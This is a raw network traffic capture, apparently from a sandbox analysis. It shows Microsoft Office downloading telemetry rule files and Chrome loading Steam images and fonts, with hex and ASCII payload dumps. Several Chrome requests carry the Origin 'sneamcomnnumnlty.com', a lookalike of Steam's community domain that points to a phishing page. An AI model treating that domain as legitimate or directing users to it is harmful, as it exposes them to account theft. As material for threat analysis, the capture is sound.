Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:00 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 7cec3a6f-e01e-0033-3414-174695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112100Z-1657d5bbd482tlqpvyz9e93p5400000001xg00000000bc1y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:00 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:59 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:59 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 40323690-a01e-0002-0100-175074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112059Z-1657d5bbd48vhs7r2p1ky7cs5w000000025g00000000bfry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:00 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:00 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: c530354f-501e-0016-5013-17181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112100Z-1657d5bbd482lxwq1dp2t1zwkc00000001s0000000001r2y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.7	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:00 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:00 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 688d2aae-a01e-0084-3466-179ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112100Z-1657d5bbd487nf59mzf5b3gk8n00000001g0000000009p04 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:00 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.7	49826	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:00 UTC	713	OUT	GET /public/shared/images/popups/btn_arrow_down_padded.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=mm2EqtpQ_Tvc&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:21:00 UTC	265	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 161 Last-Modified: Fri, 05 Jan 2018 22:31:55 GMT ETag: "5a4ffcdb-a1" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:21:00 GMT Connection: close
2024-10-06 11:21:00 UTC	161	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 13 00 00 00 0c 08 06 00 00 00 80 d0 86 82 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 00 43 49 44 41 54 78 da 62 fc ff ff 3f 03 b5 00 e3 08 36 ec d8 91 c3 fc 40 ea 00 10 1b e0 d0 b7 c0 ca c6 36 91 68 97 e1 31 10 ab 41 04 bd 89 c5 40 9c 06 11 15 66 48 06 5e c0 67 d0 48 4f 1a e4 02 80 00 03 00 23 ae 37 e9 64 d5 5d 17 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRtEXtSoftwareAdobe ImageReadyqe<CIDATxb?6@6h1A@fH^gHO#7d]IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.7	49829	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:00 UTC	678	OUT	GET /public/shared/fonts/MotivaSans-Thin.ttf?v=4.015 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://sneamcomnnumnlty.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:21:00 UTC	278	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/octet-stream Content-Length: 118736 Last-Modified: Tue, 28 Jul 2020 23:16:24 GMT ETag: "5f20b1c8-1cfd0" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:21:00 GMT Connection: close
2024-10-06 11:21:00 UTC	16106	IN	Data Raw: 00 01 00 00 00 12 01 00 00 04 00 20 44 53 49 47 00 00 00 01 00 01 cf c8 00 00 00 08 47 44 45 46 0d b6 0e 34 00 00 01 2c 00 00 00 40 47 50 4f 53 22 a8 6a e1 00 00 01 6c 00 00 6a 86 47 53 55 42 e1 64 c1 db 00 00 6b f4 00 00 1b a4 4f 53 2f 32 74 0a 9a fe 00 00 87 98 00 00 00 60 63 6d 61 70 f6 64 8b a3 00 00 87 f8 00 00 05 8e 63 76 74 20 45 b2 08 a6 00 01 c0 10 00 00 00 c8 66 70 67 6d 9e 36 21 d2 00 01 c0 d8 00 00 0e 15 67 61 73 70 00 00 00 10 00 01 c0 08 00 00 00 08 67 6c 79 66 3b 39 02 90 00 00 8d 88 00 00 fd 54 68 65 61 64 17 7a fb 3b 00 01 8a dc 00 00 00 36 68 68 65 61 06 85 06 15 00 01 8b 14 00 00 00 24 68 6d 74 78 6a 34 80 77 00 01 8b 38 00 00 0c e6 6c 6f 63 61 69 6a 2a 56 00 01 98 20 00 00 06 a6 6d 61 78 70 04 9c 0f 17 00 01 9e c8 00 00 00 20 6e 61 6d Data Ascii: DSIGGDEF4,@GPOS"jljGSUBdkOS/2t`cmapdcvt Efpgm6!gaspglyf;9Theadz;6hhea$hmtxj4w8locaij*V maxp nam
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 00 00 12 b2 00 00 12 b8 00 00 12 c4 12 ca 12 d0 00 00 12 c4 12 ca 12 d6 00 00 12 c4 12 ca 12 dc 00 00 12 c4 12 ca 12 e2 00 00 12 c4 12 ca 12 e8 00 00 12 c4 12 ca 12 ee 00 00 12 f4 12 ca 12 e8 00 00 12 c4 12 ca 12 ee 00 00 12 c4 12 ca 12 fa 00 00 12 c4 12 ca 13 00 00 00 12 c4 12 ca 13 06 00 00 12 c4 12 ca 12 d0 00 00 12 f4 12 ca 12 d0 00 00 12 c4 12 ca 13 0c 00 00 12 c4 12 ca 13 12 00 00 12 c4 12 ca 13 18 00 00 12 c4 12 ca 12 d0 00 00 12 c4 12 ca 13 1e 00 00 13 24 00 00 13 2a 00 00 13 30 00 00 13 36 00 00 13 30 00 00 13 3c 00 00 13 30 00 00 13 42 00 00 13 30 00 00 13 48 00 00 13 4e 00 00 13 36 00 00 13 30 00 00 13 36 00 00 13 54 00 00 13 5a 00 00 13 54 00 00 13 5a 00 00 13 54 00 00 13 60 00 00 13 66 13 6c 13 72 00 00 13 78 13 6c 13 7e 00 00 13 66 13 6c 13 Data Ascii: $*060<0B0HN606TZTZT`flrxl~fl
2024-10-06 11:21:00 UTC	2782	IN	Data Raw: 01 87 01 88 01 89 01 8a 01 8b 01 8c 01 8d 01 8e 01 8f 01 90 01 91 01 92 01 93 01 94 01 95 01 96 01 97 01 98 01 99 01 9a 01 9b 01 9c 01 9d 01 9e 01 9f 01 a0 01 a1 01 a2 01 a3 01 a4 01 a5 01 a6 01 a7 01 a8 01 a9 01 aa 01 ab 01 ad 01 ae 01 af 01 b0 01 b1 01 b2 01 b3 01 b4 01 b5 01 b6 01 b7 01 c2 01 b9 01 ba 01 bb 01 bc 01 bd 01 be 01 bf 01 c0 01 c1 01 c3 01 c4 01 c5 01 c8 01 c9 01 ca 01 cb 01 cc 01 cd 01 ce 01 cf 01 d0 01 d1 01 d2 01 d3 01 d4 01 d5 01 d6 01 d7 01 d8 01 da 01 db 01 dc 01 dd 01 de 01 df 01 e0 01 e1 01 e2 01 e3 01 e4 01 e5 01 e6 01 e7 01 e8 01 e9 01 ea 01 eb 01 ec 01 ed 01 ee 01 ef 01 f0 01 f1 01 f2 01 f3 01 f4 01 f5 01 f6 01 f7 01 f8 01 f9 01 fa 01 fb 01 fd 01 fe 01 76 01 ac 01 ff 02 00 02 01 02 03 02 04 02 05 02 06 02 07 02 08 02 09 02 0a 02 Data Ascii: v
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 a6 00 00 00 00 00 00 00 00 00 00 03 9e 00 00 00 00 00 00 00 01 02 9d 02 c1 02 a4 02 ce 02 eb 02 ef 02 c2 02 a9 02 aa 02 a3 02 d5 02 99 02 b1 02 98 02 a5 02 9a 02 9b 02 dc 02 d9 02 db 02 9f 02 ee 00 02 00 1a 00 1b 00 21 00 25 00 37 00 38 00 3e 00 41 00 4f 00 52 00 54 00 5a 00 5b 00 61 00 7a 00 7c 00 7d 00 81 00 89 00 8e 00 a6 00 a7 00 ac 00 ad 00 b6 02 ad 02 a6 02 ae 02 e3 02 b5 03 15 00 ba 00 d2 00 d3 00 d9 00 dd 00 f0 00 f1 00 f7 00 fa 01 09 01 0d 01 0f 01 15 01 16 01 1c 01 35 01 37 01 38 01 3c 01 43 01 48 01 60 01 61 01 66 01 67 01 70 02 ab 02 f6 02 ac 02 e1 02 ca 02 9e 02 cc 02 d1 02 cd 02 d2 02 f7 02 f1 03 13 02 f2 02 30 02 bd 02 e2 02 b2 02 f3 03 1d 02 f5 02 df 02 7d 02 7e 03 16 02 e9 02 f0 02 a1 03 Data Ascii: !%78>AORTZ[az\|}578<CH`afgp0}~
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 2b 00 16 17 33 37 33 11 14 06 23 22 26 27 37 16 33 32 36 35 35 06 23 22 26 26 35 34 36 36 33 0e 02 15 14 16 33 32 36 37 11 26 26 23 01 5f 4f 1b 03 15 20 77 67 3c 65 24 1d 45 5c 4c 5f 47 61 43 6b 3f 49 74 41 32 59 35 63 50 2e 54 22 16 4a 32 02 18 1e 18 2a fd fb 6f 6e 23 1c 2d 35 47 4a 5f 43 3a 73 51 58 79 3b 34 2f 60 46 62 6b 27 28 01 13 1b 25 00 ff ff 00 32 ff 2a 02 01 02 bf 00 22 00 f1 00 00 00 02 03 1a 7b 00 00 00 ff ff 00 32 ff 2a 02 01 02 bc 00 22 00 f1 00 00 00 03 03 07 01 b7 00 00 ff ff 00 32 ff 2a 02 01 02 c3 00 22 00 f1 00 00 00 03 03 06 01 bb 00 00 00 03 00 32 ff 2a 02 01 02 d1 00 03 00 21 00 2f 00 93 40 0e 2c 2b 17 06 04 07 08 11 10 02 04 05 02 4c 4b b0 23 50 58 40 30 00 00 00 01 5f 00 01 01 4a 4d 00 02 02 4b 4d 0a 01 08 08 06 61 09 01 06 06 53 Data Ascii: +373#"&'732655#"&&546633267&&#_O wg<e$E\L_GaCk?ItA2Y5cP.T"J2on#-5GJ_C:sQXy;4/`Fbk'(%2"{2"2"2*!/@,+LK#PX@0_JMKMaS
2024-10-06 11:21:00 UTC	7952	IN	Data Raw: 40 2e 0d 01 01 04 01 4c 00 04 00 01 00 04 01 67 06 01 05 05 03 5f 00 03 03 2c 4d 02 01 00 00 2d 00 4e 0e 0e 0e 16 0e 15 27 21 11 11 10 07 08 1b 2b 21 23 27 23 15 23 11 33 32 16 15 14 06 07 03 15 33 32 36 35 34 26 23 01 dd 46 7f 83 3a b7 61 53 37 39 c1 77 3f 3f 3d 41 df df 02 39 58 4e 3e 5d 11 01 1e f1 3f 3c 3d 39 00 00 00 ff ff 00 5b 00 00 01 dd 02 e9 00 22 01 f5 00 00 01 07 03 36 01 b7 00 2d 00 08 b1 02 01 b0 2d b0 35 2b 00 00 ff ff 00 5b 00 00 01 dd 02 e9 00 22 01 f5 00 00 01 07 03 39 01 96 00 2d 00 08 b1 02 01 b0 2d b0 35 2b 00 00 ff ff 00 5b ff 3b 01 dd 02 39 00 22 01 f5 00 00 00 03 03 42 01 90 00 00 00 01 00 32 ff f4 01 a7 02 45 00 27 00 32 40 2f 16 02 01 03 02 00 01 4c 15 01 02 01 4b 00 00 00 03 61 04 01 03 03 30 4d 00 02 02 01 61 00 01 01 31 01 4e Data Ascii: @.Lg_,M-N'!+!#'##3232654&#F:aS79w??=A9XN>]?<=9["6--5+["9--5+[;9"B2E'2@/LKa0Ma1N
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: ff f3 02 4a 02 c8 00 0f 00 1d 00 2c 40 29 05 01 03 03 01 61 04 01 01 01 50 4d 00 02 02 00 61 00 00 00 51 00 4e 10 10 00 00 10 1d 10 1c 17 15 00 0f 00 0e 26 06 0a 17 2b 00 16 16 15 14 06 06 23 22 26 26 35 34 36 36 33 06 06 15 14 16 16 33 32 36 36 35 34 26 23 01 8d 76 47 47 77 47 47 77 47 47 76 48 5b 6c 31 5a 3c 3c 5a 31 6c 5b 02 c8 4e a5 7b 76 a2 4f 4f a2 76 7b a5 4e 3a a0 94 5f 88 46 47 88 5e 94 a0 00 00 00 01 00 8e 00 00 02 18 02 bc 00 0a 00 29 40 26 09 08 07 03 00 03 01 4c 04 01 03 03 48 4d 02 01 00 00 01 5f 00 01 01 49 01 4e 00 00 00 0a 00 0a 11 11 11 05 0a 19 2b 01 11 33 15 21 35 33 11 07 27 37 01 8d 8b fe 8a af ac 17 d3 02 bc fd 79 35 35 02 42 52 2e 69 00 00 ff ff 00 56 00 00 02 3d 02 c8 00 02 02 38 0b 00 00 01 00 40 ff f4 02 4b 02 c8 00 2a 00 3f 40 Data Ascii: J,@)aPMaQN&+#"&&54663326654&#vGGwGGwGGvH[l1Z<<Z1l[N{vOOv{N:_FG^)@&LHM_IN+3!53'7y55BR.iV=8@K*?@
2024-10-06 11:21:00 UTC	5928	IN	Data Raw: 02 bc 00 0c 00 27 40 24 07 01 00 01 01 4c 00 01 01 03 5f 04 01 03 03 48 4d 02 01 00 00 49 00 4e 00 00 00 0c 00 0b 11 11 11 05 0a 19 2b 01 11 23 11 23 11 23 11 26 35 34 36 33 01 a3 3b 3b 3b a7 57 5c 02 bc fd 44 02 88 fd 78 01 79 0f 97 49 54 00 02 00 4b ff f1 01 9b 02 c8 00 33 00 3f 00 53 40 50 02 01 00 03 2d 03 02 05 00 1c 13 02 02 04 1b 01 01 02 04 4c 07 01 05 00 04 00 05 04 80 00 04 02 00 04 02 7e 00 00 00 03 61 06 01 03 03 50 4d 00 02 02 01 62 00 01 01 51 01 4e 34 34 00 00 34 3f 34 3e 3a 38 00 33 00 32 1f 1d 1a 18 25 08 0a 17 2b 00 16 17 07 26 26 23 22 06 15 14 16 16 17 1e 02 15 14 07 16 16 15 14 06 23 22 27 37 16 33 32 36 35 34 26 26 27 26 27 26 26 35 34 36 37 26 26 35 34 36 33 02 06 15 14 16 33 32 36 35 34 26 23 01 20 48 19 10 17 40 1f 3b 3c 25 35 31 Data Ascii: '@$L_HMIN+###&5463;;;W\DxyITK3?S@P-L~aPMbQN444?4>:832%+&&#"#"'732654&&'&'&&5467&&546332654&# H@;<%51
2024-10-06 11:21:00 UTC	16384	IN	Data Raw: 85 00 02 02 03 61 00 03 03 50 4d 00 01 01 04 61 00 04 04 48 01 4e 22 11 13 23 10 05 0a 1b 2b 01 33 15 14 06 23 22 27 26 26 23 35 32 17 16 33 32 36 35 fe e9 3c 38 38 1d 3a 07 38 17 1c 3a 34 23 1b 19 03 46 52 30 37 0a 01 08 28 08 09 1e 1f 00 00 01 ff 5d ff 59 ff b5 ff b5 00 0b 00 1f 40 1c 02 01 01 00 00 01 59 02 01 01 01 00 61 00 00 01 00 51 00 00 00 0b 00 0a 24 03 0a 17 2b 06 16 15 14 06 23 22 26 35 34 36 33 65 1a 1a 13 12 19 19 12 4b 17 17 17 17 17 17 17 17 00 00 00 01 ff 52 ff 3b ff 98 ff cb 00 03 00 13 40 10 00 00 00 01 5f 00 01 01 4d 01 4e 11 10 02 0a 18 2b 07 33 07 23 a7 3f 23 23 35 90 00 00 01 ff 18 ff 32 ff c3 00 09 00 1a 00 57 40 0f 18 01 03 00 17 0c 02 02 03 0b 01 01 02 03 4c 4b b0 12 50 58 40 19 00 04 00 00 04 70 00 00 00 03 02 00 03 6a 00 02 02 Data Ascii: aPMaHN"#+3#"'&&#523265<88:8:4#FR07(]Y@YaQ$+#"&5463eKR;@_MN+3#?##52W@LKPX@pj
2024-10-06 11:21:00 UTC	4048	IN	Data Raw: 30 33 2e 76 69 65 74 00 00 01 00 01 ff ff 00 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 00 18 00 3a 00 3a 02 c8 00 00 02 0c ff fd ff 32 04 42 fe ac 02 c8 00 00 02 0c ff fd ff 32 04 42 fe ac 00 3d 00 3d 00 34 00 34 02 39 00 00 04 42 fe ac 02 45 ff f4 04 42 fe ac 00 3d 00 3d 00 34 00 34 02 39 02 39 00 00 00 00 04 42 fe ac 02 39 02 45 ff f4 ff f4 04 42 fe ac 00 3c 00 3c 00 34 00 34 02 bc 00 00 02 d6 02 0c 00 00 ff 32 04 42 fe ac 02 c8 ff f4 02 d6 02 18 ff f4 ff 32 04 42 fe ac 00 3b 00 3b 00 34 00 34 03 3f 01 b4 04 42 fe ac 03 47 01 ac 04 42 fe ac b0 00 2c 20 b0 00 55 58 45 59 20 20 4b b8 00 0e 51 4b b0 06 53 5a 58 b0 34 1b b0 28 59 60 66 20 8a 55 58 b0 02 25 61 Data Ascii: 03.viet::2B2B==449BEB==4499B9EB<<442B2B;;44?BGB, UXEY KQKSZX4(Y`f UX%a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.7	49827	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:00 UTC	681	OUT	GET /public/shared/fonts/MotivaSans-Regular.ttf?v=4.015 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://sneamcomnnumnlty.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:21:00 UTC	278	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/octet-stream Content-Length: 122684 Last-Modified: Tue, 28 Jul 2020 23:16:24 GMT ETag: "5f20b1c8-1df3c" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:21:00 GMT Connection: close
2024-10-06 11:21:00 UTC	16106	IN	Data Raw: 00 01 00 00 00 12 01 00 00 04 00 20 44 53 49 47 00 00 00 01 00 01 df 34 00 00 00 08 47 44 45 46 0d b6 0e 34 00 00 01 2c 00 00 00 40 47 50 4f 53 3a 3e 7d 8f 00 00 01 6c 00 00 75 7a 47 53 55 42 e1 64 c1 db 00 00 76 e8 00 00 1b a4 4f 53 2f 32 75 36 9e 08 00 00 92 8c 00 00 00 60 63 6d 61 70 f6 64 8b a3 00 00 92 ec 00 00 05 8e 63 76 74 20 46 bf 09 94 00 01 cf 7c 00 00 00 c8 66 70 67 6d 9e 36 21 d2 00 01 d0 44 00 00 0e 15 67 61 73 70 00 00 00 10 00 01 cf 74 00 00 00 08 67 6c 79 66 8a 5f 6d c2 00 00 98 7c 00 01 01 ee 68 65 61 64 17 b4 fb 48 00 01 9a 6c 00 00 00 36 68 68 65 61 06 bf 06 47 00 01 9a a4 00 00 00 24 68 6d 74 78 86 e3 6c 96 00 01 9a c8 00 00 0c e6 6c 6f 63 61 43 48 02 9a 00 01 a7 b0 00 00 06 a6 6d 61 78 70 04 a0 0f 13 00 01 ae 58 00 00 00 20 6e 61 6d Data Ascii: DSIG4GDEF4,@GPOS:>}luzGSUBdvOS/2u6`cmapdcvt F\|fpgm6!Dgasptglyf_m\|headHl6hheaG$hmtxllocaCHmaxpX nam
